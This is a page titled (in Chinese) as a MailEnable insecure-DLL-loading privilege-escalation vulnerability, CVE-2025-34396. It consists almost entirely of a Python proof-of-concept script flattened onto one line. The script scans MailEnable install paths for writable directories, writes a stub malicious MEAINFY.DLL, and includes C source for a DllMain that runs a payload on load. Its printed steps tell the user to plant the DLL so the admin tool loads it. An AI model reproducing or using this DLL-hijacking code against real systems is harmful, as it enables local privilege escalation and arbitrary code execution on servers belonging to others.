CVE-2025-34396 MailEnable 不安全DLL加载漏洞导致本地权限提升

#!/usr/bin/env python3 # CVE-2025-34396 PoC - MailEnable DLL Hijacking # Generate malicious MEAINFY.DLL for DLL hijacking attack # This PoC demonstrates the vulnerability - for educational purposes only import struct import os def create_malicious_dll(dll_path): """ Create a basic DLL that will execute calc.exe when loaded This demonstrates arbitrary code execution via DLL hijacking """ # DLL written in C for compilation: # #include <windows.h> # BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { # if (fdwReason == DLL_PROCESS_ATTACH) { # WinExec("calc.exe", SW_SHOW); // Replace with malicious payload # } # return TRUE; # } # For demonstration, create a placeholder DLL structure # In real attack, compile actual malicious DLL dll_content = b'MZ' + b'\x90' * 58 + struct.pack('<I', 0x00001000) # PE signature placeholder print(f"[+] Creating malicious DLL at: {dll_path}") print("[+] DLL will execute arbitrary code when MailEnable admin tool is launched") print("[+] Compile actual DLL with malicious payload for production use") # Note: This is a template - actual DLL requires proper PE structure return dll_content def check_vulnerable_paths(): """ Enumerate potential DLL hijacking locations """ common_paths = [ r"C:\Program Files\MailEnable\bin", r"C:\Program Files (x86)\MailEnable\bin", r"C:\MailEnable\bin", os.environ.get('SYSTEMROOT', 'C:\\Windows') + r"\System32", ] print("\n[*] Checking for writable directories in DLL search path:") for path in common_paths: if os.path.exists(path): writable = os.access(path, os.W_OK) status = "WRITABLE" if writable else "Not writable" print(f" {path}: {status}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-34396 - MailEnable DLL Hijacking PoC") print("=" * 60) check_vulnerable_paths() dll_path = "./MEAINFY.DLL" create_malicious_dll(dll_path) print("\n[!] Place the generated DLL in a writable directory in DLL search path") print("[!] When MailEnable admin tool runs, the malicious DLL will be loaded")